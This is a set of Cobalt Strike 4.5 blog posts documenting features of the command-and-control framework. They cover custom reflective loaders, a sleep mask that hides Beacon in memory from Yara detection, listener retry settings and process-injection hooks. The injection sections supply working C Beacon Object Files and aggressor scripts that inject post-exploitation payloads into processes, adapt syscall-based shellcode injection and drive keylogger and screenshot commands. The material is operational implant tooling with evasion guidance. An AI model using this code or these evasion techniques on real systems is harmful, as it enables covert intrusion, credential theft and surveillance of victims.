Cobalt Strike Blog | Cobalt Strike Research and Development

User Defined Reflective Loader (UDRL) Update in Cobalt Strike 4.5

The User Defined Reflective Loader (UDRL) was first introduced in Cobalt Strike 4.4. to allow the creation and use of a custom reflective loader. This quickly took off by the community and its limits were pushed. Updates were made in 4.5 to help address some of these limits.

Updates

Increased Size

A new hook BEACON_DLL_SIZE was added to specify either 5k or 100k for your custom loader. This increase will be reflected in your payloads.

Artifact Kit

The artifact kit has been updated to allow customization of sizes to ensure space is available for your loader.

UDRL and Malleable C2 Profile Consideration

When using the default reflective loader and generating Beacons there are a few settings that affect Beacon’s runtime configuration and the loader, which are automatically handled when the payload is generated. This ability allows an operator to change these settings in the profile which will modify how the payload is generated and how it looks like in memory. 

When using a UDRL these settings are inserted into the Beacon’s runtime configuration. However, because the reflective loader is defined by the user it is not possible to modify the reflective loader as it does in the default case. It is on the user to modify their reflective loader accordingly. 

For example, if you are using the example loader from the URDL kit, there is no code in the loader to do any conditional setup based on information stored in the header of the image. This could cause runtime issues with Beacon that you are not expecting because of the settings in your Malleable C2 profile. You will have to deal with the same type of issues when writing your own reflective loader from scratch.

Settings to be Considered

The following are settings to consider when the malleable C2 profile option stage.sleepmask is set to TRUE:

stage.userwx 

This setting is a Boolean and informs the default loader to either use RWX or RX memory. At runtime Beacon will either include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader needs to set the protection on the .text section as RWX otherwise Beacon will crash. If the setting is set to FALSE, your user defined loader should set the protection on the .text section as RX as the .text section will not be masked. 

stage.obfuscate 

This setting is a Boolean and informs the default loader to either copy the header or not copy the header into memory. At runtime Beacon will either include or not include the header section for masking. If the setting is set to TRUE, your UDRL should not copy the header into memory as Beacon will not mask the header section. If the setting is set to FALSE, your user defined loader should copy the header into memory as Beacon will mask the header section. 

Depending on how sophisticated your reflective loader is you will need to make sure the settings in the Malleable C2 profile will work with how the Beacon payload is loaded into memory. With the BEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL aggressor script hooks you do have the opportunity to modify your reflective loader by using the aggressor script pe_* functions. 

Handling a UDRL over 5k

The following is an example error that indicates your loader is over 5k. You can use the BEACON_DLL_SIZE hook to increase this space to 100k.

Loader is over 5k

Artifact Kit Considerations

If you are using an artifact kit based on the kit provided by Cobalt Strike, but is using the default ‘stagesize‘ values, this error is logged indicating the larger patched Beacon will not fit in the standard artifacts generated for the kit. You will need to rebuild the artifact kit with larger ‘stagesize‘ environment variable definitions.

Artifact kit hook error when the stagesize value is too low

References

Sleep Mask Update in Cobalt Strike 4.5

The Sleep Mask Kit was first introduced in Cobalt Strike 4.4 to allow users to modify how the sleep mask function looks in memory in order to defeat static signatures that identified Beacon. This quickly took off in the community and its limits were pushed. Updates were made in 4.5 to help address some of these limits.

Licensed users can download the updated kit from https://www.cobaltstrike.com/scripts

What’s New?

Increased size 

The size of the sleep mask executable code has been increased to 769 bytes from 289 bytes. 

Heap Memory 

A list of heap memory addresses has been added to the input to the sleep mask function. This allows for the ability to mask and unmask Beacon’s heap memory, which could be used to identify Beacon.

Compatibility

Any sleep mask modifications for Cobalt Strike 4.4 will not be compatible with 4.5 because of the changes to the functions input. This also means the sleep mask modifications are also not backwards compatible.  Users will need to have separate sleep mask versions for 4.4 and 4.5. An updated sleep mask kit is available through the Cobalt Strike UI Help -> Arsenal page. 

Changes 

  • Added a new HEAP_RECORDS data structure 
  • Added a pointer to the HEAP_RECORDS data structure to the existing SLEEPMASKP structure 
  • Added new loops to mask and unmask the heap memory identified by the HEAP_RECORDS structure. 

Limitations

These are the current limitations to the sleep mask kit for Cobalt Strike 4.5:

  • The executable code size cannot exceed 769 bytes. If this occurs the default sleep mask function will be used. 
  • Only one function can be defined in the source code file. 
  • Use of external functions are not supported 

Example

For this example, the Sleep Mask Kit for Cobalt Strike version 4.5 with a modification to the code to only mask and unmask when the sleep is larger than two seconds will be used. This allows for the ability to control the masking and unmasking of Beacon based on the current sleep time.  

Generate a Beacon using the modified sleep mask and deploy it on your target system. The Beacon is now running and has a PID value of 5400 for this example. 

Using a Yara rule based on the BeaconEye project, beacon will be detected. The rule shows the memory address that triggered the detection as the current sleep time is set 1 second.

Detected at 0x7c7290

Using Process Hacker, open the process (5400) and look at the contents of memory at the found location of 0x7c7290. This is determined by finding the base address 0x7b0000 and subtracting from 0x7c7290 to determine the offset within this block of heap memory.

Beacon’s configuration unmasked

The highlighted portion shows the signature that was used to identify Beacon, which represents Beacon’s configuration in the heap memory. 

With the Cobalt Strike version 4.5 sleep mask this location in memory is provided as one of heap memory addresses in the HEAP_RECORDS list. Now, update the sleep time for this beacon to three seconds so it will mask itself while sleeping and then inspect this memory location again. 

Beacon’s Configuration masked

Comparing this to the previous screenshot shows the heap memory is now masked. Running the Yara rule again shows that it does not detect the signature for Beacon’s configuration.

This is just one simple example of using the sleep mask to obfuscate Beacon in memory.

Enjoy!

References

A Deeper Look Into the Max Retry Strategy Option

A complementary strategy to the Host Rotation Strategy was introduced to Cobalt Strike 4.5. The max retry strategy was added to HTTP, HTTPS, and DNS beacon listeners. A max retry strategy allows a beacon to exit after a specified failure count. As the failure count increases, sleep is adjusted to a specified value. By default, sleep is adjusted at 50% of the failure count.

A max retry can be selected from a list via the create listener GUI:

max retry option set as a listener option

The list can be updated with custom values using the aggressor hook LISTENER_MAX_RETRY_STRATEGIES.

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_hooks.htm#LISTENER_MAX_RETRY_STRATEGIES

The values in aggressor allow combination of options to be set vs. selecting from the default list.

# Use a hard coded list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
    local('$out');
    $out .= "exit-18-12-5m\n";
    $out .= "exit-22-14-5m\n";
    return $out;
}
 
# Use loops to build a list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
    local('$out');
 
    @attempts = @(50, 100);
    @durations = @("5m", "15m");
    $increase = 25;
 
    foreach $attempt (@attempts)
    {
        foreach $duration (@durations)
        {
            $out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
        }
    }
 
    return $out;
}

Understanding the Max Retry Syntax

Max Retry Strategy Syntax

The syntax is broken into four sections separated by a dash:

ColumnDescription
1exit
2Exit beacon after this number of failures
3Number of failures to begin adjust sleep
4Sleep time to set when sleep failures are met. Note: The jitter is kept to the current setting.

Using Aggressor to Create a Listener

If you use aggressor to create listeners, you can set the max retry using the max_retry option. This can be set to your custom max retry strategy without the need to be pre-defined.

Below is an example of the listener_create_ext function used to create a listener.

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#listener_create_ext

# create an HTTP Beacon listener
listener_create_ext("HTTP", "windows/beacon_http/reverse_http",
      %(host => "stage.host",
      profile => "default",
      port => 80,
      beacons => "b1.host,b2.host",
      althost => "alt.host",
      bindto => 8080,
      strategy => "failover-5x",
      max_retry => "exit-10-5-5m",
      proxy => "proxy.host"));

TIP: Running Cobalt Strike Teamserver as a Service

These scripts can be used as a template to set up teamserver as a service and to auto-start listeners.

https://github.com/vestjoe/cobaltstrike_services

Process Injection Update in Cobalt Strike 4.5

Process injection is a core component to Cobalt Strike post exploitation. Until now, the option was to use a built-in injection technique using fork&run. This has been great for stability, but does come at the cost of OPSEC.

Cobalt Strike 4.5 now supports two new Aggressor Script hooks: PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT.  These hooks allow a user to define how the fork&run and explicit injection techniques are implemented when executing post-exploitation commands instead of using the built-in techniques. 

The implementation of these techniques is through a Beacon Object File (BOF) and an Aggressor Script function.  In the next sections a simple example will be provided followed by an example from the Community Kit for each hook. 

These two hooks will cover most of the post exploitation commands, which will be listed in each section.  However, here are some exceptions which will not use these hooks. 

Beacon Command Aggressor Script function 
 &bdllspawn  
execute-assembly &bexecute_assembly 
shell&bshell
Exceptions to the 4.5 process injection updates

Process Injection Spawn (Fork & Run)

The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The elevaterunasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
  1. The “(use a hash)” note means select a credential that references a hash. 
Beacon Command Aggressor Script function UI Interface 
chromedump   
dcsync &bdcsync  
elevate &belevate [beacon] -> Access -> Elevate 
  [beacon] -> Access -> Golden Ticket 
hashdump &bhashdump [beacon] -> Access -> Dump Hashes 
keylogger &bkeylogger  
logonpasswords &blogonpasswords [beacon] -> Access -> Run Mimikatz 
  [beacon] -> Access -> Make Token (use a hash) 
mimikatz &bmimikatz   
 &bmimikatz_small  
net &bnet [beacon] -> Explore -> Net View 
portscan &bportscan [beacon] -> Explore -> Port Scan 
powerpick &bpowerpick   
printscreen &bprintscreen  
pth &bpassthehash   
runasadmin &brunasadmin  
  [target] -> Scan 
screenshot &bscreenshot [beacon] -> Explore -> Screenshot 
screenwatch &bscreenwatch  
ssh &bssh [target] -> Jump -> ssh 
ssh-key &bssh_key [target] -> Jump -> ssh-key 
  [target] -> Jump -> [exploit] (use a hash) 
Commands that support the PROCESS_INJECT_SPAWN hook in 4.5

Arguments 

The PROCESS_INJECT_SPAWN hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 true/false ignore process token 
  • $4 x86/x64 – memory injectable DLL architecture 

Returns 

The PROCESS_INJECT_SPAWN hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own fork&run injection technique. 

I Want to Use My Own spawn (fork & run) Injection Technique.

To implement your own fork&run injection technique you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_SPAWN hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_SPAWN hook to bypass the built-in default.  First, we will create a BOF with our fork&run implementation. 

File: inject_spawn.c

#include <windows.h>
#include "beacon.h"

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   STARTUPINFOA        si;
   PROCESS_INFORMATION pi;
   datap               parser;
   short               ignoreToken;
   char *              dllPtr;
   int                 dllLen;

   /* Warn about crossing to another architecture. */
   if (!is_x64() && x86 == FALSE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
   }
   if (is_x64() && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
   }

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   ignoreToken = BeaconDataShort(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* zero out these data structures */
   __stosb((void *)&si, 0, sizeof(STARTUPINFO));
   __stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));

   /* setup the other values in our startup info structure */
   si.dwFlags = STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.cb = sizeof(STARTUPINFO);

   /* Ready to go: spawn, inject and cleanup */
   if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
      return;
   }
   BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
   BeaconCleanupProcess(&pi);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}


Explanation

  • Line 14 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 53-59.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 15-20 define the variables that are referenced in the function. 
  • Lines 22-28 will check to see if runtime environment matches the x86 flag and print a warning message back to the beacon console and continue. 
  • Lines 30-33 will extract the two arguments ignoreToken and dll from the args parameter. 
  • Lines 35-42 initializes the STARTUPINFO and PARAMETER_INFO variables. 
  • Lines 44-50 implements the fork&run technique using Beacon’s internal APIs defined in beacon.h.  This is essentially the same built-in technique of spawning a temporary process, injecting the dll into the process and cleaning up. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_spawn.x64.o -c inject_spawn.c 

i686-w64-mingw32-gcc -o inject_spawn.x86.o -c inject_spawn.c 

Create Aggressor Script

File: inject_spawn.cna

# Hook to allow the user to define how the fork and run process injection
# technique is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);

   btask($1, "Process Inject using fork and run.");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 8 defines the variables used in the function. 
  • Line 10-11 sets the architecture for the beacon’s session. 
  • Lines 14-17 reads the inject_spawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 19-20 packs the arguments that the BOF is expecting.  In this example we are passing $3 (ignore process token) as a short and $2 (dll) as binary data. 
  • Lines 22 reports the task to Beacon. 
  • Line 25 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the beacon’s architecture and dll’s architecture do not have to match.  For example, if your Beacon is running in an x86 context on an x64 OS then some post exploitation jobs such as mimikatz will use the x64 version of the mimikatz dll. 
  • Line 26 uses the beacon_inline_execute function to execute the BOF. 
  • Line 29 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the updated HOOK

Next, load the inject_spawn.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

PROCESS_INJECT_SPAWN

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_SPAWN hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the fork&run implementation use the example under the StaticSyscallsAPCSpawn folder. This uses the spawn with syscalls shellcode injection (NtMapViewOfSection -> NtQueueApcThread) technique.

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsAPCSpawn directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsapcspawn.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The argument that this BOF expects is the dll.  The ignoreToken is not used. 
  3. Calls a function named SpawnProcess, which will use the Beacon API function BeaconSpawnTemporaryProcess.  In this case the x86 parameter is hard coded to FALSE and the ignoreToken is hard coded to TRUE. 
  4. Calls a function named InjectShellcode, which implements their injection technique instead of using the function BeaconInjectTemporaryProcess. 
  5. Finally call the Beacon API function BeaconCleanupProcess. 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_SPAWN function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_SPAWN function which can be put into a new file or add it to the existing static_syscalls_apc_spawn.cna file. 

File: static_syscalls_apc_spawn.cna 

    # Hook to allow the user to define how the fork and run process injection 
    # technique is implemented when executing post exploitation commands. 
    # $1 = Beacon ID 
    # $2 = memory injectable dll (position-independent code) 
    # $3 = true/false ignore process token 
    # $4 = x86/x64 - memory injectable DLL arch 
    set PROCESS_INJECT_SPAWN { 
    
    local('$barch, $handle $data $args'); 
    
        # figure out the arch of this session 
        $barch  = barch($1); 
        
        if ($barch eq "x86") { 
            warn("Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500) does not support x86. Use built in default"); 
            return $null; 
        } 
        
        # read in the right BOF 
        warn("read the BOF: syscallsapcspawn. $+ $barch $+ .o"); 
        $handle = openf(script_resource("syscallsapcspawn. $+ $barch $+ .o")); 
        $data = readb($handle, -1); 
        closef($handle); 
        
        # pack our arguments needed for the BOF 
        $args = bof_pack($1, "b", $2); 
        
        btask($1, "Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500)"); 
        
        beacon_inline_execute($1, $data, "go", $args); 
        
        # Let the caller know the hook was implemented. 
        return 1; 
    } 

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 9 defines the variables used in the function. In this example we do not need the $entry variable as the entry point will just be “go” 
  • Line 12 will set the $barch to the beacon’s architecture. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-23 will read the syscallsapcspawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because Beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 25-26 packs the arguments that the BOF is expecting.  In this example we are passing $2 (dll) as a binary data.  Recall the ignore Token flag was hard coded to TRUE. 
  • Line 28 uses the beacon_inline_execute function to execute the BOF.  In this case just call “go” since the requirement of knowing if it is x86 or x64 is not needed as the x86 flag is hard coded to FALSE. 
  • Line 33 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

Explicit Process Injection (Put Down That Fork)

The PROCESS_INJECT_EXPLICIT hook is used to define the explicit process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.  There is also a multi version of this interface which is accessed by selecting multiple beacon sessions and using the same UI menu.  When in the Process Browser use the buttons to perform additional commands on the selected process. 
  1. The chromedumpdcsynchashdumpkeyloggerlogonpasswordsmimikatznetportscanprintscreenpthscreenshotscreenwatchssh, and ssh-key commands also have a fork&run version.  To use the explicit version requires the pid and architecture arguments. 
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
Beacon Command Aggressor Script function  UI Interface 
browserpivot &bbrowserpivot [beacon] -> Explore -> Browser Pivot 
chromedump   
dcsync &bdcsync  
dllinject &bdllinject  
hashdump &bhashdump  
inject &binject [Process Browser] -> Inject 
keylogger &bkeylogger [Process Browser] -> Log Keystrokes 
logonpasswords &blogonpasswords  
mimikatz &bmimikatz  
 &bmimikatz_small  
net &bnet  
portscan &bportscan  
printscreen   
psinject &bpsinject  
pth &bpassthehash  
screenshot  [Process Browser] -> Screenshot (Yes) 
screenwatch  [Process Browser] -> Screenshot (No) 
shinject &bshinject  
ssh &bssh  
ssh-key &bssh_key  
Commands that support the PROCESS_INJECT_EXPLICIT hook in 4.5

Arguments 

The PROCESS_INJECT_EXPLICIT hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 = the PID to inject into 
  • $4 = offset to jump to 
  • $5 = x86/x64 – memory injectable DLL arch 

Returns 

The PROCESS_INJECT_EXPLICIT hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own explicit injection technique. 

I Want to Use My Own Explicit Injection Technique.

To implement your own explicit injection technique, you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_EXPLICIT hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_EXPLICIT hook to bypass the built-in default.  First, we will create a BOF with our explicit injection implementation. 

File: inject_explicit.c

#include <windows.h>
#include "beacon.h"

/* Windows API calls */
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$IsWow64Process (HANDLE hProcess, PBOOL Wow64Process);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentProcess (VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI DWORD   WINAPI KERNEL32$GetLastError (VOID);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* is this a 64-bit or 32-bit process? */
BOOL is_wow64(HANDLE process) {
   BOOL bIsWow64 = FALSE;

   if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
      return FALSE;
   }
   return bIsWow64;
}

/* check if a process is x64 or not */
BOOL is_x64_process(HANDLE process) {
   if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
      return !is_wow64(process);
   }

   return FALSE;
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   HANDLE              hProcess;
   datap               parser;
   int                 pid;
   int                 offset;
   char *              dllPtr;
   int                 dllLen;

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   pid = BeaconDataInt(&parser);
   offset = BeaconDataInt(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* Open a handle to the process, for injection. */
   hProcess = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
   if (hProcess == INVALID_HANDLE_VALUE || hProcess == 0) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to open process %d : %d", pid, KERNEL32$GetLastError());
      return;
   }

   /* Check that we can inject the content into the process. */
   if (!is_x64_process(hProcess) && x86 == FALSE ) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
      return;
   }
   if (is_x64_process(hProcess) && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
      return;
   }

   /* inject into the process */
   BeaconInjectProcess(hProcess, pid, dllPtr, dllLen, offset, NULL, 0);

   /* Clean up */
   KERNEL32$CloseHandle(hProcess);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}

Explanation

  • Lines 1-2 are the include files, where beacon.h can be downloaded from https://github.com/Cobalt-Strike/bof_template
  • Lines 4-9 define the prototypes for the Dynamic Function Resolution for a BOF. 
  • Lines 11-18 define a function to determine the compiled architecture type. 
  • Lines 20-37 define functions to determine the architecture of the process to inject into. 
  • Line 40 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 78-84.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 41-46 define the variables that are referenced in the function. 
  • Lines 48-52 will extract the three arguments pid, offset and dll from the args parameter. 
  • Lines 55-59 will open the process for the specified pid. 
  • Lines 61-69 will verify if the content can be injected into the process. 
  • Line 72 implements the explicit injection technique using Beacon’s internal APIs defined in beacon.h.  This is the same built-in technique for injecting into a process. 
  • Lines 75 will close the handle to the process. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_explicit.x64.o -c inject_explicit.c 

i686-w64-mingw32-gcc -o inject_explicit.x86.o -c inject_explicit.c 

Create Aggressor Script

Next, create the Aggressor Script PROCESS_INJECT_EXPLICIT hook function. 

File: inject_explicit.cna

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);

   btask($1, "Process Inject using explicit injection into pid $3");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Lines 15-18 reads the inject_explicit.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 21 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, $4 (offset) as an integer, and $2 (dll) as binary data. 
  • Lines 23 reports the task to Beacon. 
  • Line 26 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the Beacon’s architecture and dll’s architecture do not have to match. 
  • Line 27 uses the beacon_inline_execute function to execute the BOF. 
  • Line 30 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the inject_explicit.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

PROCESS_INJECT_EXPLICIT

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_EXPLICIT hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the explicit injection implementation we will select a different technique from this repository. Use the example under the StaticSyscallsInject folder. 

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsInject directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsinject.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The arguments that this BOF expects are the pid and dll.  The offset is not used. 
  3. Calls a function named InjectShellcode, which implements their injection technique instead. 
  4. Opens the Process 
  5. Allocates Memory and Copies it to the Process 
  6. Create the thread and wait for completion 
  7. Cleanup 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_EXPLICIT function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_EXPLICIT function which can be put into a new file or add it to the existing static_syscalls_inject.cna file. 

File: static_syscalls_inject.cna

# Hook to allow the user to define how the explicit injection technique 
# is implemented when executing post exploitation commands. 
# $1 = Beacon ID 
# $2 = memory injectable dll for the post exploitation command 
# $3 = the PID to inject into 
# $4 = offset to jump to 
# $5 = x86/x64 - memory injectable DLL arch 
set PROCESS_INJECT_EXPLICIT { 
local('$barch $handle $data $args'); 

# Set the architecture for the beacon's session 
$barch = barch($1); 

if ($barch eq "x86") { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support x86. Use built in default"); 
    return $null; 
} 

if ($4 > 0) { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support offset argument. Use built in default"); 
    return $null; 
} 

# read in the injection BOF based on barch 
warn("read the BOF: syscallsinject. $+ $barch $+ .o"); 
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o")); 
$data = readb($handle, -1); 
closef($handle); 

# pack our arguments needed for the BOF 
$args = bof_pack($1, "ib", $3, $2); 

btask($1, "Static Syscalls Shellcode Injection BOF (@ajpc500) into pid $3"); 

beacon_inline_execute($1, $data, "go", $args); 

# Let the caller know the hook was implemented. 
return 1; 
} 

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-22 is added in this example because this project is not supporting the offset to jump to argument.  When this is detected then return $null to use the built-in technique. 
  • Lines 25-28 reads the syscallsinject.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
